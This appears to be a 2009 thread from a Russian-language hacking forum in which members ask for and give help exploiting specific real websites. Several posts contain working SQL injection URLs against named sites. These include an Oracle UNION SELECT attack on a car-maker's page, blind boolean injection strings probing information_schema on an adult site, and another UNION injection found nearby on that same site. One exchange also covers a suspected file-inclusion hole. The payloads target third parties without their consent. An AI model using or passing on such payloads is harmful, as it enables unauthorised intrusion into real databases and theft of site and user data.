HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4471  
Старый 04.01.2009, 10:47
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами: 9361870

Репутация: 58
По умолчанию

to o3,14um а смысле нет файла?)) если ты про ошибку то я сам перевел что он ругается на отсуствие файла) разве это не иньект?
мне кажется что он не может найти папку которую я указал выше) т.к. своим запросом исковеркал ее имя))

Последний раз редактировалось j0ker13; 04.01.2009 в 10:55..
 
Ответить с цитированием

  #4472  
Старый 04.01.2009, 11:53
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
С нами: 10254549

Репутация: 227
По умолчанию

Это какбы файл должен быть атким:
lang/inc.lang1.php

НО ты изменил запрос на
lang/inc.lang/
и теперь имя файла воспринимается как папка, которой не существует. Успез зависит от оси и от других папок, расположенный в этой папке=)

Если там сеть папка, с началом названия inc.lang то те повезло
 
Ответить с цитированием

  #4473  
Старый 04.01.2009, 12:13
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами: 9361870

Репутация: 58
По умолчанию

2Iceangel_ ога)
2o3,14um вот и я про тоже)
кароч вот http://nouveauniveau.com/index.php4?lang=1'
 
Ответить с цитированием

  #4474  
Старый 04.01.2009, 12:28
prescott
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
С нами: 9361826

Репутация: 115
По умолчанию

Цитата:
Сообщение от prescott  
Код:
http://lada-auto.ru/cgi-bin/models.pl?model_id=6295171+union+select+1,null,to_char(213),null+from+sys.dual--%20&branch=tth
Помогите с ORACLE инъекцией. Не могу подобрать тип данных для третьего столбца. В чем ошибка?
Еще раз спрошу
 
Ответить с цитированием

  #4475  
Старый 04.01.2009, 13:26
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
С нами: 9416045

Репутация: 126
По умолчанию

http://eroking.ru/podr.php?gid=2827%27

как раскрутить?
 
Ответить с цитированием

  #4476  
Старый 04.01.2009, 14:11
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами: 10227206

Репутация: 2163
По умолчанию

Цитата:
Сообщение от F4R  
http://eroking.ru/podr.php?gid=2827%27

как раскрутить?
_eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67--
Цитата:
Сообщение от prescott  
Еще раз спрошу
там даже при повторной выборке этого столбца несовместимость типа данных ) копай через другие скрипты
 
Ответить с цитированием

  #4477  
Старый 04.01.2009, 14:59
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
С нами: 9416045

Репутация: 126
По умолчанию

Цитата:
eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67--
никанает (((
 
Ответить с цитированием

  #4478  
Старый 04.01.2009, 15:19
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Цитата:
Сообщение от F4R  
никанает (((
Ещё как канает
http://eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67+--+

PS F4R , Мне кажется пора прочитать что-то по скулям. а не просто постить линки с ковычкой и вопросом "как раскрутить"
 
Ответить с цитированием

  #4479  
Старый 04.01.2009, 15:53
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
С нами: 9416045

Репутация: 126
По умолчанию

да там просто страница с вагиной открывается и всё)
 
Ответить с цитированием

  #4480  
Старый 04.01.2009, 17:34
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
С нами: 9679872

Репутация: 347
По умолчанию

Цитата:
Сообщение от jokester  
Ещё как канает
http://eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67+--+

PS F4R , Мне кажется пора прочитать что-то по скулям. а не просто постить линки с ковычкой и вопросом "как раскрутить"
там рядом есть инъекция с выводимыми полями
Код:
http://eroking.ru/list.php?grp=-1'+union+select+1,2,3,4--+0

Последний раз редактировалось bons; 04.01.2009 в 17:37..
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.